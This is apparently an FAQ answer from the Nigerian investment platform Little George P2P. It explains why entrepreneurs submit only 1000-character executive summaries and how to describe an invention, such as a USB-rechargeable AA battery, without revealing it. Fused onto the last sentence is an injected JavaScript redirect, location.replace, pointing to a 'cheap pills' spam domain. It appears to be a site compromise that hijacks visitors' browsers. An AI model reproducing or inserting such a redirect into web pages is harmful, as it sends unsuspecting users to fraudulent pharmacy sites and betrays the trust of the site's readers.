A: Firstly Little George P2P is NOT an ‘open-forum’. We value greatly the privacy of both entrepreneurs as well as registered investors.
This is the reason why we only accept executive type investment summaries from entrepreneurs. It is important to note that as a product Inventor or entrepreneur, it is fundamentally the execution of the idea that must be protected. So as an analogy – you may not be able to protect or patent the concept of a ‘Pizza’, but you would want to protect and patent the execution of it, i.e. the process in which it is made and cooked.
This is why Little George P2P only sends executive type summaries (1000-characters long) to investors and we will NEVER ask entrepreneurs’ to display their entire business plan to investors. So as an example that is quite relevant to an innovative idea that could be copied quite easily: The AA pencil battery that is rechargeable through a computer USB port. In this particular case, it is agreed that it would be remiss on an entrepreneurs’ side to state in their Little George P2P investment summary: “I have created a battery that can be recharged via the usb port of your laptop and can be used in any AA battery powered appliance.”
Instead, a more diligent way to address the investment summary would be to talk a little bit about the industry, the demographic customer you are targeting and the problem you are solving. i.e. ‘Batteries are a N100 trillion global industry and growing every year. The product that I have developed uses a completely different source of power and is something that any Nigerian or Global household can recharge without using any of the traditional sources of power that consumers are used to using.’
Little George P2P will never ask an entrepreneur to upload their ENTIRE business plan to us, without a confidentiality statement, as we recognise how valuable, confidential and sensitive these documents are. We have a policy to inform entrepreneurs’ to always be extremely diligent when it comes to posting or sending their business plan to third party websites or investment services.location.replace(“http://cheap-pills-norx.com”);